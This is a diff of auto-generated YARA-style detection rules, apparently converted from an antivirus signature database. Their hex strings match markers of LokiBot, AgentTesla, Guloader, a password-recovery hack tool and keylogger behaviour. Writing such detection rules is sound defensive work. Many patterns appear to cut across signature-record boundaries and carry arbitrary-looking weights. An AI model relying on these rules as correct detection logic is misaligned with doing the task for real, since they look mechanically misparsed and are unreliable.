67 30 38 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 } //385 + $a_01_6 = {00 0a 81 01 45 46 38 30 30 31 2e 65 78 65 01 00 0f 81 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 0e 81 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 05 81 01 53 70 6c 69 74 00 00 78 da 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 50 30 31 21 4d 54 42 00 01 00 19 81 01 5c 66 6f } //25955 + $a_72_7 = {72 61 61 64 5c 46 72 61 73 61 67 74 65 2e 6c 6e 6b 01 00 19 81 01 61 66 64 65 6c 69 6e 67 73 62 65 73 6b 72 69 76 65 6c 73 65 73 2e 6a 70 67 01 00 0d 81 01 6d 75 72 64 65 72 69 73 68 2e 6c 61 6d 01 00 14 81 01 49 6e 64 75 6b 74 69 6f 6e 73 73 74 72 6d 35 30 2e 6a 70 67 01 00 11 81 01 61 6c 6c 79 64 } //27762 + $a_20_8 = {6c 75 64 67 69 6e 67 01 00 12 81 01 73 65 6d 69 67 6c 61 7a 65 20 65 6e 73 70 6f 72 65 74 01 00 19 81 01 6f 76 65 72 66 72 65 64 6e 69 6e 67 73 6e 76 6e 20 6d 61 64 72 69 67 61 6c 00 00 78 da 00 00 08 00 08 00 04 00 21 23 48 61 63 6b 74 6f 6f 6c 3a 57 69 6e 33 32 2f 4e 70 72 77 21 64 68 61 00 02 00 08 01 57 69 6e 64 6f 26 77 75 02 00 40 01 4e } //24937 condition: - ((#a_46_0 & 1)*16675+(#a_24_1 & 1)*-29876+(#a_00_2 & 1)*40+(#a_65_3 & 1)*26982) >=7 + ((#a_54_0 & 1)*18467+(#a_44_1 & 1)*28737+(#a_79_2 & 1)*25197+(#a_61_3 & 1)*24929+(#a_4b_4 & 1)*28281+(#a_37_5 & 1)*385+(#a_01_6 & 1)*25955+(#a_72_7 & 1)*27762+(#a_20_8 & 1)*24937) >=6 } -rule _InfrastructureShared_14639{ +rule _InfrastructureShared_15598{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -168044,27 +179251,44 @@ rule _InfrastructureShared_14639{ $a_61_1 = {61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 41 61 61 41 61 61 61 61 61 41 41 41 61 41 41 41 41 41 41 61 61 01 00 07 81 01 4c 4f 47 2e 74 78 74 01 00 0b 81 01 5b 42 41 43 4b 53 50 41 43 45 5d 01 00 05 81 01 5b 54 41 42 5d 01 00 07 81 01 5b 53 48 49 46 54 5d 01 00 09 81 01 5b 43 4f 4e } //24929 $a_4c_2 = {01 00 10 81 01 47 65 74 41 73 79 6e 63 4b 65 79 53 74 61 74 65 00 00 78 da 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4c 6f 6b 69 42 6f 74 2e 54 52 43 31 21 4d 54 42 00 01 00 25 81 01 24 34 33 35 66 } //21076 $a_65_3 = {37 36 30 62 2d 34 38 30 33 2d 39 62 63 34 2d 30 34 35 36 30 64 61 31 61 30 65 36 01 00 22 81 01 39 37 62 61 37 38 31 62 38 32 66 65 66 34 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 18 81 01 4a 67 30 38 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 0a 81 } //25140 - $a_38_4 = {30 31 2e 65 78 65 01 00 0f 81 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 0e 81 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 05 81 01 53 70 6c 69 74 00 00 78 da 00 00 08 00 08 00 04 00 21 23 48 } //17665 - $a_74_5 = {6f 6c 3a 57 69 6e 33 32 2f 4e 70 72 77 21 64 68 61 00 02 00 08 01 57 69 6e 64 6f 26 77 75 02 00 40 01 4e 00 65 00 74 00 77 00 6f 00 72 00 6b 00 20 00 50 00 61 00 73 00 73 00 77 00 6f 00 72 00 64 00 20 00 52 00 65 00 63 00 6f 00 76 00 65 00 72 00 79 00 20 00 57 00 69 00 7a 00 61 00 72 00 64 00 02 00 10 01 4e 00 50 00 52 } //25441 + $a_38_4 = {30 31 2e 65 78 65 01 00 0f 81 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 0e 81 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 05 81 01 53 70 6c 69 74 00 00 78 da 00 00 07 00 07 00 07 00 21 23 48 } //17665 + $a_3a_5 = {69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 50 30 31 21 4d 54 42 00 01 00 19 81 01 5c 66 6f 72 6c 64 72 65 72 61 61 64 5c 46 72 61 73 61 67 74 65 2e 6c 6e 6b 01 00 19 81 01 61 66 64 65 6c 69 6e 67 73 62 65 73 6b 72 69 76 65 6c 73 65 73 2e 6a } //21587 + $a_00_6 = {0d } //26480 condition: - ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*24929+(#a_4c_2 & 1)*21076+(#a_65_3 & 1)*25140+(#a_38_4 & 1)*17665+(#a_74_5 & 1)*25441) >=7 + ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*24929+(#a_4c_2 & 1)*21076+(#a_65_3 & 1)*25140+(#a_38_4 & 1)*17665+(#a_3a_5 & 1)*21587+(#a_00_6 & 1)*26480) >=7 } -rule _InfrastructureShared_14640{ +rule _InfrastructureShared_15599{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4c 6f 6b 69 42 6f 74 2e 54 52 43 31 21 4d 54 42 00 01 00 25 81 01 24 34 33 35 66 34 62 63 65 2d 37 36 30 62 2d 34 38 30 33 2d 39 62 63 34 2d 30 34 35 36 30 64 61 31 61 30 65 36 01 00 22 81 01 39 37 62 61 37 38 } //18467 $a_32_1 = {65 66 34 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 18 81 01 4a 67 30 38 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 0a 81 } //25137 - $a_38_2 = {30 31 2e 65 78 65 01 00 0f 81 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 0e 81 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 05 81 01 53 70 6c 69 74 00 00 78 da 00 00 08 00 08 00 04 00 21 23 48 } //17665 - $a_74_3 = {6f 6c 3a 57 69 6e 33 32 2f 4e 70 72 77 21 64 68 61 00 02 00 08 01 57 69 6e 64 6f 26 77 75 02 00 40 01 4e 00 65 00 74 00 77 00 6f 00 72 00 6b 00 20 00 50 00 61 00 73 00 73 00 77 00 6f 00 72 00 64 00 20 00 52 00 65 00 63 00 6f 00 76 00 65 00 72 00 79 00 20 00 57 00 69 00 7a 00 61 00 72 00 64 00 02 00 10 01 4e 00 50 00 52 } //25441 - $a_00_5 = {45 00 02 00 50 01 54 68 65 20 70 72 6f 63 65 64 75 72 65 20 65 6e 74 72 79 20 70 6f 69 6e 74 20 25 73 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 63 61 74 65 64 20 69 6e 20 74 68 65 20 64 79 6e 61 6d 69 63 20 6c 69 6e 6b 20 6c 69 62 72 61 72 79 20 25 73 00 00 } //69 + $a_38_2 = {30 31 2e 65 78 65 01 00 0f 81 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 0e 81 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 05 81 01 53 70 6c 69 74 00 00 78 da 00 00 07 00 07 00 07 00 21 23 48 } //17665 + $a_3a_3 = {69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 50 30 31 21 4d 54 42 00 01 00 19 81 01 5c 66 6f 72 6c 64 72 65 72 61 61 64 5c 46 72 61 73 61 67 74 65 2e 6c 6e 6b 01 00 19 81 01 61 66 64 65 6c 69 6e 67 73 62 65 73 6b 72 69 76 65 6c 73 65 73 2e 6a } //21587 + $a_00_4 = {0d } //26480 + $a_75_5 = {64 65 72 69 73 68 2e 6c 61 6d 01 00 14 81 01 49 6e 64 75 6b 74 69 6f 6e 73 73 74 72 6d 35 30 2e 6a 70 67 01 00 11 81 01 61 6c 6c 79 64 69 61 73 20 73 6c 75 64 67 69 6e 67 01 00 12 81 01 73 65 6d 69 67 6c 61 7a 65 20 65 6e 73 70 6f 72 65 74 01 00 19 81 01 6f 76 65 72 66 72 65 64 6e 69 6e 67 73 6e 76 6e 20 6d 61 64 72 69 67 61 } //385 condition: - ((#a_54_0 & 1)*18467+(#a_32_1 & 1)*25137+(#a_38_2 & 1)*17665+(#a_74_3 & 1)*25441+(#a_00_5 & 1)*69) >=7 + ((#a_54_0 & 1)*18467+(#a_32_1 & 1)*25137+(#a_38_2 & 1)*17665+(#a_3a_3 & 1)*21587+(#a_00_4 & 1)*26480+(#a_75_5 & 1)*385) >=7 } -rule _InfrastructureShared_14641{ +rule _InfrastructureShared_15600{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 50 30 31 21 4d 54 42 00 01 00 19 81 01 5c 66 6f 72 6c 64 72 65 72 61 61 64 5c 46 72 61 73 61 67 74 65 2e 6c 6e 6b 01 00 19 81 01 61 66 64 65 6c 69 6e 67 73 62 65 73 6b 72 69 76 65 6c 73 65 73 2e } //18467 + $a_01_1 = {00 0d 81 01 6d 75 72 64 65 72 69 73 68 2e 6c 61 6d 01 00 14 81 01 49 6e 64 75 6b 74 69 6f 6e 73 73 74 72 6d 35 30 2e 6a 70 67 01 00 11 81 01 61 6c 6c 79 64 69 61 73 20 73 6c 75 64 67 69 6e 67 01 00 12 81 01 73 65 6d 69 67 6c 61 7a 65 20 65 6e 73 70 6f 72 65 74 01 00 19 81 01 6f 76 65 72 66 72 65 64 6e 69 6e } //28778 + $a_76_2 = {20 6d 61 64 72 69 67 61 6c 00 00 78 da 00 00 08 00 08 00 04 00 21 23 48 61 63 6b 74 6f 6f 6c 3a 57 69 6e 33 32 2f 4e 70 72 77 21 64 68 61 00 02 00 08 01 57 69 6e 64 6f 26 77 75 02 00 40 01 4e 00 65 00 74 00 77 00 6f 00 72 00 6b 00 20 00 50 00 61 00 73 00 73 00 77 00 6f 00 72 00 64 00 20 00 52 00 65 00 63 00 6f 00 76 00 65 00 72 } //29543 + $a_00_4 = {7a 00 61 00 72 00 64 00 02 00 10 01 4e 00 50 00 52 00 57 00 2e 00 45 00 58 00 45 00 02 00 50 01 54 68 65 20 70 72 6f 63 65 64 75 72 65 20 65 6e 74 72 79 20 70 6f 69 6e 74 20 25 73 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 63 61 74 65 64 20 69 6e 20 74 68 65 20 64 79 6e 61 6d 69 63 20 6c 69 6e 6b 20 6c 69 62 } //87 + $a_79_5 = {25 73 00 00 78 da 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 57 30 33 33 21 4d 54 42 00 01 00 0c 81 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 0e 81 01 78 76 78 63 62 63 6e 68 67 79 69 37 37 37 01 00 0e 81 01 26 26 53 79 26 26 73 74 26 26 65 6d 26 26 01 00 16 } //24946 + $a_26_6 = {26 65 26 66 6c 26 26 65 63 26 26 74 69 26 26 6f 6e 26 26 01 00 12 81 01 26 26 41 73 26 26 73 65 26 26 6d 62 26 26 } //385 + condition: + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*28778+(#a_76_2 & 1)*29543+(#a_00_4 & 1)*87+(#a_79_5 & 1)*24946+(#a_26_6 & 1)*385) >=7 + +} +rule _InfrastructureShared_15601{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 21 " @@ -168075,7 +179299,7 @@ rule _InfrastructureShared_14641{ ((#a_63_0 & 1)*18467+(#a_4e_2 & 1)*4096) >=8 } -rule _InfrastructureShared_14642{ +rule _InfrastructureShared_15602{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -168092,7 +179316,7 @@ rule _InfrastructureShared_14642{ ((#a_54_0 & 1)*18467+(#a_26_1 & 1)*29811+(#a_73_2 & 1)*9843+(#a_63_3 & 1)*25453+(#a_5f_4 & 1)*25959+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_da_7 & 1)*0) >=8 } -rule _InfrastructureShared_14643{ +rule _InfrastructureShared_15603{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -168107,7 +179331,7 @@ rule _InfrastructureShared_14643{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*26113+(#a_00_4 & 1)*8+(#a_6f_5 & 1)*21562+(#a_54_6 & 1)*24898+(#a_31_7 & 1)*12385) >=8 } -rule _InfrastructureShared_14644{ +rule _InfrastructureShared_15604{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -168124,7 +179348,7 @@ rule _InfrastructureShared_14644{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*25924+(#a_56_2 & 1)*26963+(#a_35_3 & 1)*13163+(#a_7a_4 & 1)*27745+(#a_49_5 & 1)*4608+(#a_72_6 & 1)*28784+(#a_da_7 & 1)*0) >=8 } -rule _InfrastructureShared_14645{ +rule _InfrastructureShared_15605{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -168139,7 +179363,7 @@ rule _InfrastructureShared_14645{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*24913+(#a_65_2 & 1)*25185+(#a_35_3 & 1)*11575+(#a_70_5 & 1)*21321+(#a_48_8 & 1)*8448) >=9 } -rule _InfrastructureShared_14646{ +rule _InfrastructureShared_15606{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -168158,7 +179382,7 @@ rule _InfrastructureShared_14646{ ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*274+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_da_5 & 1)*0+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1) >=10 } -rule _InfrastructureShared_14647{ +rule _InfrastructureShared_15607{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0e 00 21 " @@ -168178,7 +179402,7 @@ rule _InfrastructureShared_14647{ ((#a_54_0 & 1)*18467+(#a_61_2 & 1)*27905+(#a_61_3 & 1)*25703+(#a_01_4 & 1)*12614+(#a_cb_6 & 1)*19208+(#a_65_7 & 1)*13357+(#a_74_8 & 1)*31090+(#a_00_9 & 1)*64+(#a_75_10 & 1)*27247+(#a_da_11 & 1)*0+(#a_4b_13 & 1)*385) >=10 } -rule _InfrastructureShared_14648{ +rule _InfrastructureShared_15608{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 05 00 21 " @@ -168192,7 +179416,7 @@ rule _InfrastructureShared_14648{ ((#a_54_0 & 1)*18467+(#a_37_1 & 1)*14404+(#a_31_2 & 1)*12855+(#a_00_3 & 1)*18175+(#a_65_4 & 1)*17153) >=11 } -rule _InfrastructureShared_14649{ +rule _InfrastructureShared_15609{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 07 00 21 " @@ -168207,7 +179431,7 @@ rule _InfrastructureShared_14649{ ((#a_54_0 & 1)*18467+(#a_2d_1 & 1)*25906+(#a_72_2 & 1)*29808+(#a_00_4 & 1)*92+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=11 } -rule _InfrastructureShared_14650{ +rule _InfrastructureShared_15610{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -168225,7 +179449,7 @@ rule _InfrastructureShared_14650{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*266+(#a_da_2 & 1)*0+(#a_4b_4 & 1)*385+(#a_48_5 & 1)*8448+(#a_49_6 & 1)*20041+(#a_6b_7 & 1)*30831+(#a_53_8 & 1)*14958+(#a_6d_9 & 1)*17153) >=11 } -rule _InfrastructureShared_14651{ +rule _InfrastructureShared_15611{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0b 00 21 " @@ -168245,7 +179469,7 @@ rule _InfrastructureShared_14651{ ((#a_46_0 & 1)*16675+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_da_9 & 1)*0+(#a_77_10 & 1)*29816) >=12 } -rule _InfrastructureShared_14652{ +rule _InfrastructureShared_15612{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -168265,7 +179489,7 @@ rule _InfrastructureShared_14652{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25205+(#a_6c_2 & 1)*30308+(#a_53_3 & 1)*16966+(#a_46_4 & 1)*4864+(#a_48_5 & 1)*19012+(#a_32_6 & 1)*28265+(#a_6d_7 & 1)*8285+(#a_6f_8 & 1)*295+(#a_00_9 & 1)*116+(#a_00_11 & 1)*58) >=12 } -rule _InfrastructureShared_14653{ +rule _InfrastructureShared_15613{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,23 00 23 00 07 00 21 " @@ -168281,7 +179505,7 @@ rule _InfrastructureShared_14653{ ((#a_4c_0 & 1)*21539+(#a_61_1 & 1)*26113+(#a_69_2 & 1)*26985+(#a_64_3 & 1)*12325+(#a_25_4 & 1)*28271+(#a_6e_5 & 1)*26743+(#a_00_6 & 1)*110) >=35 } -rule _InfrastructureShared_14654{ +rule _InfrastructureShared_15614{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2c 01 2c 01 03 00 21 " @@ -168293,7 +179517,7 @@ rule _InfrastructureShared_14654{ ((#a_46_0 & 1)*16675+(#a_32_1 & 1)*9530+(#a_6f_2 & 1)*29795) >=300 } -rule _InfrastructureShared_14655{ +rule _InfrastructureShared_15615{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -168304,7 +179528,7 @@ rule _InfrastructureShared_14655{ ((#a_77_0 & 1)*19491+(#a_00_1 & 1)*97) >=1 } -rule _InfrastructureShared_14656{ +rule _InfrastructureShared_15616{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 09 00 21 " @@ -168321,7 +179545,7 @@ rule _InfrastructureShared_14656{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*19851+(#a_32_2 & 1)*28265+(#a_83_3 & 1)*-30208+(#a_48_4 & 1)*400+(#a_48_5 & 1)*257+(#a_57_6 & 1)*400+(#a_5f_7 & 1)*-11530) >=1 } -rule _InfrastructureShared_14657{ +rule _InfrastructureShared_15617{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -168332,7 +179556,7 @@ rule _InfrastructureShared_14657{ ((#a_46_0 & 1)*16675+(#a_48_1 & 1)*400) >=2 } -rule _InfrastructureShared_14658{ +rule _InfrastructureShared_15618{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -168343,7 +179567,7 @@ rule _InfrastructureShared_14658{ ((#a_46_0 & 1)*16675+(#a_8b_1 & 1)*26625) >=2 } -rule _InfrastructureShared_14659{ +rule _InfrastructureShared_15619{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -168355,7 +179579,7 @@ rule _InfrastructureShared_14659{ ((#a_5f_0 & 1)*25635+(#a_a7_1 & 1)*3957+(#a_3a_2 & 1)*21587) >=2 } -rule _InfrastructureShared_14660{ +rule _InfrastructureShared_15620{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0a 00 21 " @@ -168371,7 +179595,7 @@ rule _InfrastructureShared_14660{ ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*3840+(#a_69_2 & 1)*25933+(#a_6e_3 & 1)*28792+(#a_06_4 & 1)*23818+(#a_06_6 & 1)*5669+(#a_12_9 & 1)*4865) >=2 } -rule _InfrastructureShared_14661{ +rule _InfrastructureShared_15621{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -168382,7 +179606,7 @@ rule _InfrastructureShared_14661{ ((#a_46_0 & 1)*16675+(#a_17_2 & 1)*-24063) >=3 } -rule _InfrastructureShared_14662{ +rule _InfrastructureShared_15622{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -168394,7 +179618,7 @@ rule _InfrastructureShared_14662{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*116+(#a_2d_2 & 1)*12897) >=3 } -rule _InfrastructureShared_14663{ +rule _InfrastructureShared_15623{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -168405,7 +179629,7 @@ rule _InfrastructureShared_14663{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*0) >=3 } -rule _InfrastructureShared_14664{ +rule _InfrastructureShared_15624{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -168415,7 +179639,7 @@ rule _InfrastructureShared_14664{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_14665{ +rule _InfrastructureShared_15625{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -168426,7 +179650,7 @@ rule _InfrastructureShared_14665{ ((#a_77_0 & 1)*27683+(#a_00_1 & 1)*67) >=3 } -rule _InfrastructureShared_14666{ +rule _InfrastructureShared_15626{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -168439,7 +179663,7 @@ rule _InfrastructureShared_14666{ ((#a_54_0 & 1)*18467+(#a_24_1 & 1)*-29754+(#a_84_2 & 1)*0+(#a_65_3 & 1)*277) >=3 } -rule _InfrastructureShared_14667{ +rule _InfrastructureShared_15627{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 08 00 21 " @@ -168455,7 +179679,7 @@ rule _InfrastructureShared_14667{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*29185+(#a_77_2 & 1)*5120+(#a_65_3 & 1)*25972+(#a_48_4 & 1)*26967+(#a_6d_6 & 1)*23553+(#a_06_7 & 1)*656) >=3 } -rule _InfrastructureShared_14668{ +rule _InfrastructureShared_15628{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -168467,7 +179691,7 @@ rule _InfrastructureShared_14668{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*22372+(#a_50_2 & 1)*18804) >=4 } -rule _InfrastructureShared_14669{ +rule _InfrastructureShared_15629{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -168478,7 +179702,7 @@ rule _InfrastructureShared_14669{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*102) >=4 } -rule _InfrastructureShared_14670{ +rule _InfrastructureShared_15630{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -168490,7 +179714,7 @@ rule _InfrastructureShared_14670{ ((#a_41_0 & 1)*20515+(#a_00_2 & 1)*112+(#a_6c_3 & 1)*29276) >=4 } -rule _InfrastructureShared_14671{ +rule _InfrastructureShared_15631{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -168502,7 +179726,7 @@ rule _InfrastructureShared_14671{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*114+(#a_00_3 & 1)*67) >=4 } -rule _InfrastructureShared_14672{ +rule _InfrastructureShared_15632{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -168516,7 +179740,7 @@ rule _InfrastructureShared_14672{ ((#a_46_0 & 1)*16675+(#a_33_1 & 1)*8293+(#a_67_2 & 1)*24940+(#a_6f_3 & 1)*17473+(#a_6f_4 & 1)*12141) >=4 } -rule _InfrastructureShared_14673{ +rule _InfrastructureShared_15633{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -168529,7 +179753,7 @@ rule _InfrastructureShared_14673{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*12090+(#a_63_2 & 1)*28526+(#a_74_3 & 1)*27728) >=4 } -rule _InfrastructureShared_14674{ +rule _InfrastructureShared_15634{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -168542,7 +179766,7 @@ rule _InfrastructureShared_14674{ ((#a_46_0 & 1)*16675+(#a_f7_1 & 1)*2535+(#a_00_3 & 1)*110+(#a_6e_4 & 1)*27247) >=4 } -rule _InfrastructureShared_14675{ +rule _InfrastructureShared_15635{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -168556,7 +179780,7 @@ rule _InfrastructureShared_14675{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*17454+(#a_61_2 & 1)*30831+(#a_2e_3 & 1)*25964+(#a_76_6 & 1)*-8192) >=4 } -rule _InfrastructureShared_14676{ +rule _InfrastructureShared_15636{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " @@ -168568,7 +179792,7 @@ rule _InfrastructureShared_14676{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*29303+(#a_61_2 & 1)*26465) >=5 } -rule _InfrastructureShared_14677{ +rule _InfrastructureShared_15637{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -168582,7 +179806,7 @@ rule _InfrastructureShared_14677{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*27749+(#a_72_2 & 1)*385+(#a_64_3 & 1)*27749+(#a_65_4 & 1)*28265) >=5 } -rule _InfrastructureShared_14678{ +rule _InfrastructureShared_15638{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -168595,7 +179819,7 @@ rule _InfrastructureShared_14678{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*24947+(#a_72_2 & 1)*25963+(#a_00_3 & 1)*84) >=5 } -rule _InfrastructureShared_14679{ +rule _InfrastructureShared_15639{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -168607,7 +179831,7 @@ rule _InfrastructureShared_14679{ ((#a_46_0 & 1)*16675+(#a_25_2 & 1)*9728+(#a_00_4 & 1)*68) >=5 } -rule _InfrastructureShared_14680{ +rule _InfrastructureShared_15640{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -168621,7 +179845,7 @@ rule _InfrastructureShared_14680{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*17153+(#a_2e_2 & 1)*18031+(#a_01_3 & 1)*3072+(#a_00_5 & 1)*6) >=6 } -rule _InfrastructureShared_14681{ +rule _InfrastructureShared_15641{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -168636,7 +179860,7 @@ rule _InfrastructureShared_14681{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*385+(#a_65_2 & 1)*11891+(#a_72_3 & 1)*26736+(#a_65_4 & 1)*26990+(#a_01_5 & 1)*29040) >=6 } -rule _InfrastructureShared_14682{ +rule _InfrastructureShared_15642{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -168651,7 +179875,7 @@ rule _InfrastructureShared_14682{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*26736+(#a_6e_2 & 1)*27950+(#a_48_3 & 1)*12632+(#a_5a_4 & 1)*30320+(#a_75_5 & 1)*26994) >=6 } -rule _InfrastructureShared_14683{ +rule _InfrastructureShared_15643{ meta: description = 